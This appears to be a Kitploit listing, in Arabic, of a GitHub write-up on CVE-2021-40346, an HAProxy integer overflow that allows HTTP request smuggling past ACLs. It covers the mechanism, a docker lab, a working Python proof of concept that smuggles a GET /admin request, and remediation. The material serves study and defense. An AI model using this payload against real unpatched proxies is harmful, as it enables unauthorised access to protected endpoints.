Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-40346 — تحليل WHS CVE-2021-40346 | Kitploit
أدوات/GitHubGitHub/jmg0929/cve-2021-40346
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubjmg0929/cve-2021-40346

CVE-2021-40346

تحليل WHS CVE-2021-40346

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-40346 — تجاوز عدد صحيح في HAProxy يؤدي إلى تهريب طلبات HTTP

ملخص الثغرة

  • HAProxy هو برنامج وكيل عكسي وموزّع أحمال مفتوح المصدر، يتولى توزيع الأحمال ومعالجة قواعد التحكم في الوصول (ACL) وغيرها
  • CVE-2021-40346 هي ثغرة تجاوز قواعد التحكم في الوصول (ACL Bypass) تنشأ في الدالة htx_add_header() التي يخزن بها HAProxy رؤوس HTTP بتنسيق HTX الداخلي، حيث لا يتم التحقق من طول اسم الرأس (Header Name)
  • تُقيَّم هذه الثغرة على أنها بسيطة في أسلوب التلاعب لكنها بالغة الأثر، إذ يكفي زيادة طول اسم الرأس داخل طلب HTTP وفق شروط معينة لتنفيذ الطلب الذي يريده المهاجم على الخادم الخلفي
  • المرجع: https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

شروط الثغرة

  • الإصدارات المتأثرة: HAProxy من 2.0 حتى 2.5 (بما في ذلك dev6)
  • إعدادات ACL: وجود قواعد تحكم في الوصول إلى المسارات معتمدة على http-request في الواجهة الأمامية (مثل: path_beg /admin) — فهذه القاعدة هي هدف التجاوز

التحليل

عند تخزين HAProxy لرؤوس HTTP بتنسيق HTX الداخلي، يسجّل طول اسم الرأس في حقل من 8 بتات (بحد أقصى 255). تفتقر الدالة htx_add_header() إلى منطق للتحقق من هذا الطول، لذا فإن إرسال اسم يتجاوز 256 بايت يسبب تجاوز عدد صحيح (integer overflow) وتتسرّب البتات الفائضة إلى حقل طول القيمة المجاور.

إذا جُعل طول اسم الرأس 270 بايت بالضبط (270 mod 256 = 14)، فإن HAProxy يظنه «Content-Length» (14 حرفًا) ويقرأ البايت الواحد الذي لوّثه التجاوز كقيمة. ووضع «0» في هذا الموضع يُنتج رأس Content-Length: 0 مزوّرًا.

وإذا أُرسل رأس Content-Length حقيقي بعد هذا الرأس المزوّر، فإن HAProxy يعتمد على أول رأس مكرر (المزوّر بقيمة 0) ويتجاهل القيمة الحقيقية. في هذه الأثناء، تستمر عملية قراءة النص الفعلي من العميل بالعمل بشكل سليم وفق النص الأصلي، لكن الرأس المُمرَّر إلى الخلفية يحمل القيمة المزوّرة (0)، مما يؤدي إلى تناقض بين «حجم النص المستلَم فعليًا» و«الحجم المُبلَّغ به إلى الخلفية».

يثق الخادم الخلفي بالقيمة المُبلَّغة (0) ويستنتج أن الطلب قد انتهى، ثم يعيد تفسير البيانات التي كانت نصًا للطلب الأصلي باعتبارها طلبًا جديدًا كليًا. ولأن فحص ACL في HAProxy يسبق ذلك ولا يشمل سوى سطر الطلب الأول، فإن الطلب الثاني المُخفى يصل إلى الخلفية دون أن يخضع للفحص. ونتيجة لذلك، يتم تجاوز جميع قواعد ACL من نوع http-request المكوّنة.

إعداد البيئة وإجراءات إعادة الإنتاج

  • شغّل docker compose up --build -d لتشغيل بيئة الاختبار الهشة (haproxy ver.2.2.16 / backend: gunicorn)

  • اختبر تفعيل HAProxy والخادم الخلفي عبر الكود التالي

    root@kitploit:~
    until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
    echo "준비 완료"
    
  • نفّذ كود الإثبات python3 poc.py --host 127.0.0.1 --port 8080

  • تحقق من سجلات اتصال الخادم الخلفي عبر docker logs cve-2021-40346-backend --tail 5 لمعرفة ما إذا كان طلب /admin قد عُولج فعلًا

كود الإثبات (PoC)

root@kitploit:~
import socket

HOST = "127.0.0.1"
PORT = 8080

# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255   # 14 + 1 + 255 = 270 bytes

hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: abc.com\r\n"
    + fake_name + b":\r\n"
    + b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
    b"\r\n"
    + hidden_request
)

with socket.create_connection((HOST, PORT), timeout=5) as s:
    s.sendall(payload)
    print(s.recv(4096).decode(errors="replace"))

نتيجة التنفيذ

نتيجة التنفيذ كما هو موضح أعلاه، تتم معالجة طلب GET الموجه إلى admin المحظور الوصول إليه في الخادم الخلفي

الإجراءات العلاجية

  • ترقية الإصدار: حدّث فورًا إلى 2.0.25 / 2.2.17 / 2.3.14 / 2.4.4 أو أحدث (تم الحل جذريًا بإضافة منطق للتحقق من طول الاسم/القيمة في htx_add_header())
  • دفاع متعمق: لا تعتمد على ACL في البروكسي فقط، بل طبّق منطق المصادقة/التفويض بشكل مزدوج داخل تطبيق الخلفية نفسه
تنزيل الأداة